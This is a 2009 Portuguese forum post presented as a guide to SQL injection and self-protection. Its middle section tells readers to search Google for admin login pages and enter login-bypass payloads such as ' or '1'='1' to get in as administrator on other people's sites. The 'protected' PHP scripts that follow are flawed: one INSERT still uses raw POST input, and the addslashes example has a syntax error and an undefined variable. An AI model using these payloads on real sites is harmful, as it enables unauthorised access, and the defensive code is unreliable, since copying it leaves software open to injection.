Ver um Único Post
Antigo 23-02-2009, 09:46 PM   #1
[GUIA] ~ Inject SQL ~ Aprenda a se proteger
fetish fetish está offline 23-02-2009, 09:46 PM

GUIA ~ INJECT SQL ~
Realizando e Protegendo teu servidor

nível: intermediário

Índice~
0- Código de ética.
1- O que é?
2- Localizando sites com proteção falha.
3- Protegendo-se
4- Créditos


------------
0- Código de ética.
O Inject SQL é um erro sério.
Ao ler o guia você concorda em não utilizar para destruir sites e nem invadir servidores.
Esse guia tem como objetivo explicar o que é e como funciona o Inject SQL.
Não, você não é nenhum h4x0r por saber isso pois até uma criança de 8 anos consegue dar inject SQL.


------------
1- O que é?
Inject SQL é um erro detectado recentemente que permite você logar como administrador e fazer outras coisas fodásticas!
Como a divulgação do erro foi propagada muito rápida poucos sites hoje em dia estão desprotegidos...


2- Localizando sites com proteção falha.
Simplesmente vá no google e digite:
Citação:
/admin/index.asp
/admin/login.asp
/adm/index.asp
/adm/login.asp
/admin/index.php
/admin/login.php
/adm/login.php
/adm/index.php
Procure por páginas que haja login de administrador.
Agora para ver se a proteção não está boa, digite os seguintes login e senha:


Citação:
Login: '
Senha: '='
Esse simples código não irá injetar porém é capaz de confundir MySql e irá retornar um erro do prórpio MySql.
Se não der nenhum erro de MySql então eles estão protegidos...


Se der erro então esse site é vuneravél.
Para injetar ponha ' no login e na senha tente um desses códigos:
Citação:
' or '1'='1'
' or 'a'='a'
'or''='or'1'='1
Se entrou parabéns você conseguiu!

3- Protegendo-se

Abaixo colocarei alguns scripts com a proteção anti-SQL Inject, para serem inseridos no teu website.


Criar conta

Citação:
<?php
//set host, username and password for MySQL
$dbhost = "localhost";
$dbuser = "YOURMYSQLUSERNAME";
$dbpass = "YOURMYSQLPASSEORD";

//connect to MySQL or return an error
$conn = mysql_connect("$dbhost", "$dbuser", "$dbpass")
or die('Could not connect: ' . mysql_error());

//set database name
$dbname = "l2jdb";

//select database or return an error
$dbselect = mysql_select_db("$dbname")
or die ('Could not select database');

//get username and password info from the form, protecting against SQL injection
$pass = mysql_real_escape_string($_POST["pass"]);
$confirm = mysql_real_escape_string($_POST["confirm"]);
$user = mysql_real_escape_string($_POST["name"]);

//validate user input
if(!preg_match('/^[a-zA-Z0-9]{5,20}$/',$user)) {
die ('Error: Usernames can only contain alphanumeric characters and must be between 5 and 20 characters in length.');
}

if(!preg_match('/^[a-zA-Z0-9]{5,20}$/',$pass)) {
die ('Error: Passwords can only contain alphanumeric characters and must be between 5 and 20 characters in length.');
}

if($pass != $confirm) {
die ('Error: Passwords do not match.');
}

//make sure user doesn't already exist and if it doesn't, add new record to the database
$result = mysql_query("SELECT login FROM accounts WHERE login='$user'");

if(mysql_num_rows($result)>0) {
die ('Error: Username already exists.');
}else{
mysql_query("INSERT INTO accounts (login, password, access_level) VALUES ('".$_POST['name']."', '".base64_encode(pack('H*', sha1($_POST['pass'])))."', 0)")
or die ('Error: ' . mysql_error());
}

//report successful registration
echo "Account created successfully.";

//close MySQL connection
mysql_close();

?>
salve o código como acc.php, e em seguida salve o seguinte código html para adicionar o formulario de registro em uma página html.

Citação:
<form action="acc.php" method=post>
Login: <input type="text" name="name" size=20><br><br>
Senha: <input type="password" name="pass" size=20><br><br>
Confirmar senha: <input type="password" name="confirm" size=20><br><br>
<input type=submit name="submit" value="Create"></form>

O script foi construído na proteção contra o SQL Injection, e também força o usuário a apresentar um nome de usuário e senha que estão entre os 5 e os 20 caracteres de comprimento, e limita-los a apenas caracteres alfanuméricos.

Scripts de Redefinição de senha são ainda mais sujeitos a SQL Inject , então aqui está um script para redefinição de senha:

Alterar senha
Citação:
<?php

//set host, username and password for MySQL
$dbhost = "localhost";
$dbuser = "YOURMYSQLUSERNAME";
$dbpass = "YOURMYSQLPASSEORD";

//connect to MySQL or return an error
$conn = mysql_connect("$dbhost", "$dbuser", "$dbpass")
or die('Could not connect: ' . mysql_error());

//set database name
$dbname = "l2jdb";

//select database or return an error
$dbselect = mysql_select_db("$dbname")
or die ('Could not select database');

//get username and password info from the form, protecting against SQL injection
$user = mysql_real_escape_string($_POST["name"]);
$currentpass = mysql_real_escape_string($_POST["currentpass"]);
$newpass = mysql_real_escape_string($_POST["newpass"]);
$confirm = mysql_real_escape_string($_POST["confirm"]);

//username and password should already be valid and newpass and confirm should match or this script will die
//so just validate the newpass and then check to see if newpass and confirm are the same
if(!preg_match('/^[a-zA-Z0-9]{5,20}$/',$newpass)) {
die ('Error: Passwords can only contain alphanumeric characters and must be between 5 and 20 characters in length.');
}

if($newpass != $confirm) {
die ('Error: New passwords do not match.');
}

//encrypt the passwords
$currentpass = base64_encode(pack('H*', sha1($currentpass)));
$newpass = base64_encode(pack('H*', sha1($newpass)));

//if the user input passed all the checks, make sure the account exists and then update the password
$result = mysql_query("SELECT login,password FROM accounts WHERE login='$user' AND password='$currentpass'");

if(mysql_num_rows($result)>0) {
mysql_query("UPDATE accounts SET password='$newpass' WHERE login='$user' AND password='$currentpass'");
echo "Password succesfully updated.";
}else{
die ('Error: Account does not exist or password is incorrect.');
}

//close MySQL connection
mysql_close();

?>
salve o código como changepass.php, e em seguida salve o seguinte código html para adicionar o formulario de registro em uma página html.

Citação:
<form action="changepass.php" method=post>
Login:<input type="text" name="name" size=20><br><br>
Senha: <input type="password" name="currentpass" size=20><br><br>
Nova senha: <input type="password" name="newpass" size=20><br><br>
Confirmar senha:<input type="password" name="confirm" size=20><br><br>
<input type=submit name="submit" value="Update Password">
Um simples comando chamado addslashes()
Veja esse exemplo de código:


Citação:
<?php
$user = $_POST['user'];
$pass = $_POST['pass'];
mysql_query("SELECT * FROM users WHERE user='$user' AND pass='$senha'")
?>
Ele está desprotegido e eu posso simplesmente burlar esse login...
Mas se por acaso adicionarmos umas linha:


Citação:
<?php
$user = $_POST['user'];
$pass = $_POST['pass'];
$user_escape = addslashes($user);
$pass_escape = addslashes($pass);
mysql_query("SELECT * FROM users WHERE user='$user_escape' AND pass='$senha'_escape")
?>
O que acontece no código?
O comando addslashes irá adicionar uma barra invertida "\" antes de todo ' ou "
No caso, isso irá fazer com que o interpretador ignore isso criando um erro no login.

4- Créditos

Near
e _Dudu_1533 por suas dicas.


o Changelog:
Citação:
24/02/2009
* Adicionado ao tutorial, mais algumas dicas.
__________________
<?php $som1 = 10; $som2 = 10; echo: "O resultado da soma referente as variáveis dá: $som1 + $som2"; ?> Qual o nome do filme? ;)

 
Avatar de fetish
fetish
Everybory lies

Quadro de Medalhas

Registrado em: Dec 2008
Posts: 476
Pontos: 2,001, Nível: 27
Pontos: 2,001, Nível: 27 Pontos: 2,001, Nível: 27 Pontos: 2,001, Nível: 27
Atividade: 0%
Atividade: 0% Atividade: 0% Atividade: 0%

Nome Real: João.
Visitas: 1774
Os Seguintes 4 Usuários disseram Obrigado(a) para fetish por gostarem deste post :
Handy (21-06-2009), macabriNn (24-02-2009), SerialKiller (23-02-2009), xxxvalterxxx (23-02-2009)
Links Patrocinados